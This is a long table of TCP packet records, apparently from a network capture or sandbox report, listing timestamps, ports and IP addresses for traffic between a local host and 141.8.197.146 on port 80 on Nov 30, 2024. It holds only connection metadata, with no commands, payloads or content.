Nov 30, 2024 05:00:18.290919065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.291008949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.291838884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.291881084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.291901112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.291944027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.292776108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.292896986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.293732882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.293818951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.293848991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.293924093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.294703007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.294810057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.294888973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.295610905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.295644045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.295766115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.400804043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.400913954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.401043892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.401339054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.401350021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.401422024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.402270079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.402282000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.402343035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.403182983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.403295994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.404186010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.404206991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.404237032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.404347897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.405083895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.405189037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.405244112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.406042099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.406064034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.406128883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.407032013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.407143116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.407951117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.407999039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.408010960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.408040047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.408885956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.408989906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.409822941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.409887075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.409926891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.409989119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.410780907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.410839081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.410912037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.411736965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.411787033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.412661076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.412734032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.412740946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.412795067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.413634062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.413685083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.413927078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.414577961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.414679050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.414942026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.415528059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.415581942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.415631056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.416471958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.416585922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.417423964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.417507887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.417520046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.417613983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.418375969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.418479919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.418570995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.419325113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.419420004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.420269012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.420372963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.420397997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.420413017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.421217918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.421334028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.421396017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.422183990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.422257900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.422334909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.423124075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.423230886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.424077988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.424094915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.424144983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.424174070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.425040960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.425132036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.425187111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.425970078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.426078081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.426915884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.427004099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.427026987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.427082062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.427881002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.427964926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.428802967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.428863049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.428900957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.428958893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.429755926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.429869890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.430496931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.430717945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.430830956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.431663036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.431751966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.431760073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.431804895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.432602882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.432707071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.433578968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.433640003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.433640957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.433707952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.434526920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.434633970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.434705019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.435451031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.435497046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.436399937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.436466932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.436500072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.436513901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.437350035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.437441111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.438095093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.438265085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.438395023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.439255953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.439327955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.439361095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.439434052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.440200090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.440284014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.441503048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.441514969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.441570044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.442085981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.442189932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.442265987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.443053007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.443140030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.443213940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.443986893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.492585897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.492692947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.492724895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.493041039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.493092060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.493232012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.493956089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.494236946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.494313002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.494906902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.494919062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.495003939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.495007038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.495068073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.495119095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.496017933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.496088028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.496126890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.496910095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.496970892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.497024059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.602039099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.602096081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.602140903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.602324009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.602430105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.603288889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.603355885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.603452921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.603497982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.604242086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.604353905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.604919910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.604975939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.605041981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.605083942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.605890036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.605984926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.606045008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.606813908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.606935024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.607050896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.607772112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.607831001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.607877016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.608716011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.608848095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.608880997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.609661102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.609783888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.609829903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.610614061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.610711098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.610753059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.611578941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.611675024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.611720085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.612538099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.612585068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.613452911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.613512039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.613543987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.613585949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.614412069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.614530087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.614576101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.615340948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.615458012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.615735054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.616307020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.616408110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.616624117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.617250919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.617355108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.617396116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.618200064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.618330002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.618370056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.619138956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.619241953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.619328976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.620100975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.620222092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.620263100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.621037006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.621179104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.621236086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.621998072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.622103930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.622160912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.622937918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.623054028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.623893976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.623948097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.624013901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.624056101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.624869108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.624980927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.625014067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.625785112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.625912905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.625946045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.626746893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.626832962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.626948118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.627703905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.627821922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.627876043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.628650904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.628762960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.629580021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.629638910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.629669905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.629720926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.630530119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.630634069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.630687952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.631494999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.631612062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.632343054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.632462025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.632535934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.632602930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.633368015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.633476973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.633618116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.634322882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.634414911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.634517908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.635278940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.635354996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.635397911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.636228085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.636336088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.636437893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.637171984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.637299061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.637340069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.638148069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.638233900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.638282061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.639076948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.639139891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.640059948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.640110970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.640172005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.640211105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.640985966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.641102076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.641143084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.641946077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.642054081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.642091036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.642858982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.642973900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.643083096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.643827915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.643965006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.644021034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.644778967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.644881010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.645673037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.645726919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.692954063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.693013906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.693073988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.693399906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.693437099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.693517923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.694336891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.694442034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.694493055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.695281982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.695327997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.695380926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.696239948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.696285009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.696346998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.697201014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.697263002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.697300911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.698122978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.698179007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.698188066 CET	49732	80	192.168.2.4	141.8.197.146
